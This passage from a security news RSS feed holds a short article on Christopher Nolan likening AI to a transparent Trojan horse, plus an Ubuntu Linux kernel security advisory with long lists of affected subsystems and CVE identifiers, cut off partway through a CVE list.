CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208,
CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214,
CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225,
CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53354,
CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862,
CVE-2026-63865, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[Christopher Nolan Says AI Is a ‘Trojan Horse’ Everyone Knows About]]></title>
<description><![CDATA[Christopher Nolan has compared artificial intelligence to a “Trojan horse that everybody knows the Greeks are inside,” highlighting growing public distrust of the technology.



Nolan calls AI a transparent Trojan horse




https://youtu.be/3jHpisxcmkc




The filmmaker made the comments during a...]]></description>
<link>https://tsecurity.de/de/3688347/ios-mac-os/christopher-nolan-says-ai-is-a-trojan-horse-everyone-knows-about/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688347/ios-mac-os/christopher-nolan-says-ai-is-a-trojan-horse-everyone-knows-about/</guid>
<pubDate>Thu, 23 Jul 2026 10:10:04 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Christopher Nolan has compared artificial intelligence to a “Trojan horse that everybody knows the Greeks are inside,” highlighting growing public distrust of the technology.



Nolan calls AI a transparent Trojan horse




https://youtu.be/3jHpisxcmkc




The filmmaker made the comments during a recent interview while discussing technology and the public response to artificial intelligence. Nolan said AI resembles a transparent horse made of glass because people can clearly see what companies are trying to introduce.



“It’s a transparent horse, it’s made of glass. Everybody can see what’s going on inside of there,” Nolan said.



The comparison refers to the Trojan Horse from Greek mythology, which secretly carried soldiers into the city of Troy. According to Nolan, modern AI does not have the same level of secrecy because users already understand many of the concerns surrounding the technology.



Young people are rejecting AI content



Nolan also said he has never seen a technology develop so quickly while facing such strong public resistance. He pointed specifically to younger people, who often question AI-generated material and describe low-quality output as “AI slop.”



His comments reflect wider concerns about AI replacing human work, using copyrighted material, spreading inaccurate information and reducing the value of original creative work.



Nolan did not argue that every use of AI should stop. Instead, he supported a cautious approach that examines who controls the technology, how it is trained and why companies are promoting it.



The director’s remarks also connect closely with his filmmaking methods. Nolan regularly relies on practical sets, physical effects, real locations and large-format film cameras rather than building entire scenes through digital tools.



His latest comments suggest that audiences still value visible human effort, especially in films, music, writing and other creative industries. As AI continues to advance, public trust will depend heavily on transparency, consent and responsible use.]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8574-2: Linux kernel vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3688324/unix-server/usn-8574-2-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688324/unix-server/usn-8574-2-linux-kernel-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:01:06 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31638, CVE-2026-31639,
CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648,
CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31658,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671,
CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675,
CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31689, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705,
CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709,
CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722,
CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741,
CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751,
CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756,
CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762,
CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770,
CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779,
CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051,
CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057,
CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066,
CVE-2026-43068, CVE-2026-43069, CVE-2026-43072, CVE-2026-43073,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43084,
CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089,
CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110,
CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43129, CVE-2026-43162, CVE-2026-43245,
CVE-2026-43252, CVE-2026-43265, CVE-2026-43281, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43362, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366,
CVE-2026-43368, CVE-2026-43370, CVE-2026-43371, CVE-2026-43372,
CVE-2026-43373, CVE-2026-43377, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43395,
CVE-2026-43397, CVE-2026-43405, CVE-2026-43408, CVE-2026-43409,
CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43495,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43499, CVE-2026-43502,
CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45838,
CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842,
CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846,
CVE-2026-45855, CVE-2026-45858, CVE-2026-45899, CVE-2026-45911,
CVE-2026-45920, CVE-2026-45924, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45956, CVE-2026-45958, CVE-2026-45985, CVE-2026-45986,
CVE-2026-45987, CVE-2026-45989, CVE-2026-45991, CVE-2026-45994,
CVE-2026-45996, CVE-2026-45997, CVE-2026-45999, CVE-2026-46002,
CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006,
CVE-2026-46007, CVE-2026-46009, CVE-2026-46011, CVE-2026-46012,
CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46026, CVE-2026-46027, CVE-2026-46031, CVE-2026-46033,
CVE-2026-46037, CVE-2026-46038, CVE-2026-46040, CVE-2026-46041,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068,
CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083,
CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089,
CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113,
CVE-2026-46114, CVE-2026-46116, CVE-2026-46117, CVE-2026-46120,
CVE-2026-46121, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124,
CVE-2026-46125, CVE-2026-46126, CVE-2026-46127, CVE-2026-46128,
CVE-2026-46129, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133,
CVE-2026-46136, CVE-2026-46137, CVE-2026-46138, CVE-2026-46139,
CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46152, CVE-2026-46157, CVE-2026-46159, CVE-2026-46160,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46164, CVE-2026-46167,
CVE-2026-46168, CVE-2026-46169, CVE-2026-46172, CVE-2026-46173,
CVE-2026-46174, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178,
